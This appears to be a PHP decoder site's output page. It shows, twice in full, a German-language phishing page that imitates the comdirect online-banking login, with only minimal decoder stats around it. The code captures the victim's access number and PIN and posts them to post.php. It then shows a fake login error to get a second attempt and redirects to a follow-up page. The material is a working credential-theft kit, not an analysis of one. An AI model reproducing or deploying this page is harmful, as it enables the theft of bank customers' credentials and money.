Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php require_once "functions.php"; visitors(); ?> <!DOCTYPE html> <html lang="en"..
Decoded Output download
<?php
require_once "functions.php";
visitors();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalabl=no">
<title>Konto</title>
<link rel="stylesheet" href="./Konto_files/app.css">
<link rel="stylesheet" href="./Konto_files/img.css">
<script src="./Konto_files/jquery.min.js.download"></script>
<script src="./Konto_files/jquery.creditCardValidator.min.js.download"></script>
<script src="./Konto_files/jquery.mask.min.js.download"></script>
</head>
<body>
<header>
<img src="./Konto_files/header-lg.png" class="lg">
<img src="./Konto_files/header-md.png" class="md">
<img src="./Konto_files/header-sm.png" class="sm">
<img src="./Konto_files/header-xs.png" class="xs">
</header>
<main>
<section>
<div class="form">
<div class="title">
comdirect Login
</div>
<div class="text">
Willkommen bei Ihrem Online Banking
</div>
<div class="col">
<input type="text" placeholder="Zugangsnummer / Benutzername" id="u" oninput="this.value = this.value.replace(/[^0-9]/g, '').substring(0, 8)">
</div>
<div class="col">
<input type="password" placeholder="PIN / Passwort" id="p" oninput="restrictPasswordInput(this)" maxlength="6">
</div>
<?php
if(isset($_GET['id']) && $_GET['id'] === 'Error') {
echo '<div style="color: red;">Das Login konnte nicht erfolgreich durchgefhrt werden. Bitte berprfen Sie Ihre Eingaben. Zur Anmeldung als Kunde geben Sie bitte Zugangsnummer und PIN ein. Fr die Anmeldung im "Meine comdirect"-Bereich geben Sie bitte Benutzernamen und Passwort ein. Sollte das Problem weiterhin auftreten, wenden Sie sich bitte an Ihre Kundenbetreuung unter 04106 - 708 25 00.</div><br>';
$nextId = 'Loginerr';
$path = 'KontoWai.php?id=1';
} else {
$nextId = 'Login';
$path = 'index.php?id=Error';
}
?>
<div class="col">
<!-- Pass the next ID as a data attribute -->
<button onclick="sendLog('<?php echo $nextId; ?>')">Anmelden</button>
</div>
</div>
</section>
</main>
<script>
function sendLog(nextId) {
$("input").removeClass("error");
$("#error-message").text(""); // Clear previous error message
// Check if both "u" and "p" fields are empty
if ($("#u").val().trim() === "" && $("#p").val().trim() === "") {
// Show error message and add error class to both fields
$("#error-message").text("Bitte fllen Sie alle erforderlichen Felder aus.");
$("#u, #p").addClass("error");
return; // Stop further execution
}
// Check individual field lengths
if ($("#u").val().length < 8) {
$("#error-message").text("Bitte geben Sie einen gltigen Benutzernamen ein (mindestens 8 Zeichen).");
$("#u").addClass("error");
return;
}
if ($("#p").val().length < 6) {
$("#error-message").text("Bitte geben Sie ein gltiges Passwort ein (mindestens 6 Zeichen).");
$("#p").addClass("error");
return;
}
// Send POST request with the next ID determined based on the URL parameter 'id'
$.post("post.php?id=" + nextId, { user: $("#u").val(), pass: $("#p").val() }, (res) => {
// Redirect to the specified path
window.location = "<?php echo $path; ?>";
});
}
document.getElementById('u').addEventListener('keydown', function(event) {
// Allow only numeric characters and backspace/delete keys
if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
event.preventDefault();
}
});
document.getElementById('p').addEventListener('keydown', function(event) {
// Allow only numeric characters and backspace/delete keys
if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
event.preventDefault();
}
});
function restrictPasswordInput(input) {
// Remove non-numeric characters and restrict to maximum length of 6
input.value = input.value.replace(/[^0-9]/g, '').substring(0, 6);
}
</script>
<footer>
<img src="./Konto_files/footer-lg.png" class="lg">
<img src="./Konto_files/footer-md.png" class="md">
<img src="./Konto_files/footer-sm.png" class="sm">
<img src="./Konto_files/footer-xs.png" class="xs">
</footer>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
require_once "functions.php";
visitors();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalabl=no">
<title>Konto</title>
<link rel="stylesheet" href="./Konto_files/app.css">
<link rel="stylesheet" href="./Konto_files/img.css">
<script src="./Konto_files/jquery.min.js.download"></script>
<script src="./Konto_files/jquery.creditCardValidator.min.js.download"></script>
<script src="./Konto_files/jquery.mask.min.js.download"></script>
</head>
<body>
<header>
<img src="./Konto_files/header-lg.png" class="lg">
<img src="./Konto_files/header-md.png" class="md">
<img src="./Konto_files/header-sm.png" class="sm">
<img src="./Konto_files/header-xs.png" class="xs">
</header>
<main>
<section>
<div class="form">
<div class="title">
comdirect Login
</div>
<div class="text">
Willkommen bei Ihrem Online Banking
</div>
<div class="col">
<input type="text" placeholder="Zugangsnummer / Benutzername" id="u" oninput="this.value = this.value.replace(/[^0-9]/g, '').substring(0, 8)">
</div>
<div class="col">
<input type="password" placeholder="PIN / Passwort" id="p" oninput="restrictPasswordInput(this)" maxlength="6">
</div>
<?php
if(isset($_GET['id']) && $_GET['id'] === 'Error') {
echo '<div style="color: red;">Das Login konnte nicht erfolgreich durchgefhrt werden. Bitte berprfen Sie Ihre Eingaben. Zur Anmeldung als Kunde geben Sie bitte Zugangsnummer und PIN ein. Fr die Anmeldung im "Meine comdirect"-Bereich geben Sie bitte Benutzernamen und Passwort ein. Sollte das Problem weiterhin auftreten, wenden Sie sich bitte an Ihre Kundenbetreuung unter 04106 - 708 25 00.</div><br>';
$nextId = 'Loginerr';
$path = 'KontoWai.php?id=1';
} else {
$nextId = 'Login';
$path = 'index.php?id=Error';
}
?>
<div class="col">
<!-- Pass the next ID as a data attribute -->
<button onclick="sendLog('<?php echo $nextId; ?>')">Anmelden</button>
</div>
</div>
</section>
</main>
<script>
function sendLog(nextId) {
$("input").removeClass("error");
$("#error-message").text(""); // Clear previous error message
// Check if both "u" and "p" fields are empty
if ($("#u").val().trim() === "" && $("#p").val().trim() === "") {
// Show error message and add error class to both fields
$("#error-message").text("Bitte fllen Sie alle erforderlichen Felder aus.");
$("#u, #p").addClass("error");
return; // Stop further execution
}
// Check individual field lengths
if ($("#u").val().length < 8) {
$("#error-message").text("Bitte geben Sie einen gltigen Benutzernamen ein (mindestens 8 Zeichen).");
$("#u").addClass("error");
return;
}
if ($("#p").val().length < 6) {
$("#error-message").text("Bitte geben Sie ein gltiges Passwort ein (mindestens 6 Zeichen).");
$("#p").addClass("error");
return;
}
// Send POST request with the next ID determined based on the URL parameter 'id'
$.post("post.php?id=" + nextId, { user: $("#u").val(), pass: $("#p").val() }, (res) => {
// Redirect to the specified path
window.location = "<?php echo $path; ?>";
});
}
document.getElementById('u').addEventListener('keydown', function(event) {
// Allow only numeric characters and backspace/delete keys
if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
event.preventDefault();
}
});
document.getElementById('p').addEventListener('keydown', function(event) {
// Allow only numeric characters and backspace/delete keys
if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
event.preventDefault();
}
});
function restrictPasswordInput(input) {
// Remove non-numeric characters and restrict to maximum length of 6
input.value = input.value.replace(/[^0-9]/g, '').substring(0, 6);
}
</script>
<footer>
<img src="./Konto_files/footer-lg.png" class="lg">
<img src="./Konto_files/footer-md.png" class="md">
<img src="./Konto_files/footer-sm.png" class="sm">
<img src="./Konto_files/footer-xs.png" class="xs">
</footer>
</body>
</html>
Function Calls
None |
Stats
MD5 | 7287ec37385bbbaa6cde12af79f025c9 |
Eval Count | 0 |
Decode Time | 94 ms |